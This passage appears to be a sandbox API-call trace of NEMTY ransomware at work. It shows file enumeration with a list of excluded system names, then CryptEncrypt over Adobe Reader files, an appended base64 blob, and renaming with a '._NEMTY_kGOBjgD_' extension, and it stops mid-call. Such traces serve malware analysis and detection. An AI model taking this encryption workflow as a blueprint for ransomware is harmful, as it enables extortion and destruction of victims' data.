Sleep (dwMilliseconds=0x5) [0170.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1933ae70, dwHighDateTime=0x1d561e8)) [0170.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1933ae70, dwHighDateTime=0x1d561e8)) [0170.381] GetLastError () returned 0x0 [0170.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.381] GetLastError () returned 0x0 [0170.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.381] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.381] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.381] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.381] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="cLeNyThsfU5QmY4DblFFbgOUxvoiZcaR0F4p0/91+lxIKVlgmixTQBwCYSn20XXI\r\nRb12v2piqRRu4qJgHuzPeWzu8Zu6RH1FGtWyHy2ly3tT/S6jGShrfua1iK1BlKwz\r\n15XG67pK0jcHtI86YHIQgGmJb6bZ0/nWDvIqr0fvSXuEhZqWlm4Fko3Y284YgDKA\r\nglXDklq1rZWwRcr9+dMd8CFc4MdD2TDhPiQkDob5EFGUjHPs4muGKsC5T+pJrRsd\r\nfXgD8h/MVaPEpOMwIMo+9d3edSHxiqIzaNAYuyoDzlcfm1C/p6GJFJ88rPir1eqm\r\nuHgbzqHIhgWCWz15/k0Fvg==\r\n", pcchString=0x653e91c) returned 1 [0170.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.382] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.382] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.382] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.384] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.384] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.385] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.385] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.385] CloseHandle (hObject=0x254) returned 1 [0170.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.385] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp._nemty_kgobjgd_")) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.386] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0170.386] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".") returned 1 [0170.386] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="..") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="...") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="windows") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="rsa") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="NTDETECT.COM") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="ntldr") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="MSDOS.SYS") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="IO.SYS") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="boot.ini") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="boot.ini") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="ntuser.dat") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="desktop.ini") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="CONFIG.SYS") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="RECYCLER") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="bootmgr") returned 1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="programdata") returned -1 [0170.387] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="appdata") returned 1 [0170.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.388] Sleep (dwMilliseconds=0x5) [0170.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19360fd0, dwHighDateTime=0x1d561e8)) [0170.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19360fd0, dwHighDateTime=0x1d561e8)) [0170.397] GetLastError () returned 0x0 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.397] GetLastError () returned 0x0 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.397] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.397] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.397] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.397] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="ggPWm1Kg/jkUdrdms0DQnjrRmKAv436P8NhXbeW0g+K9WYQH3WRl5TG7t0Y/PYrB\r\ngwLfAD/Wk11Uu4p7dpZDxoakueI+erH739/Gca+R5WLMaRExD9Fvyx1cSldF5kRn\r\nvpG3hbSNTMYpXjBmZG/ulmpSnGa9T6f1HoLMG8Gi5JleOs+CwJRRPCpaiNaKSdwD\r\nUyjtNQ5gdmxzIuYLBT8ejnngdJt5jhMMIEkJIJ4vNyN4c3Wcy9KHMC7X7quaujq5\r\nP+kCILmJs7oChR2ThM+GzKSUQDKHwEDWQWpkw+pIf3+21gq0f/NqjjSy/pFgmiRT\r\n7MD1dGA2AAEbmtQ00gpZFw==\r\n", pcchString=0x653e91c) returned 1 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.397] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.397] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.398] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.399] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.400] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.400] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.400] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.400] CloseHandle (hObject=0x254) returned 1 [0170.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.400] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq._nemty_kgobjgd_")) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="..") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="...") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="windows") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="$RECYCLE.BIN") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="rsa") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="NTDETECT.COM") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="ntldr") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="MSDOS.SYS") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="IO.SYS") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="boot.ini") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="boot.ini") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="ntuser.dat") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="desktop.ini") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="CONFIG.SYS") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="RECYCLER") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="BOOTSECT.BAK") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="bootmgr") returned 1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="programdata") returned -1 [0170.401] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="appdata") returned 1 [0170.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", 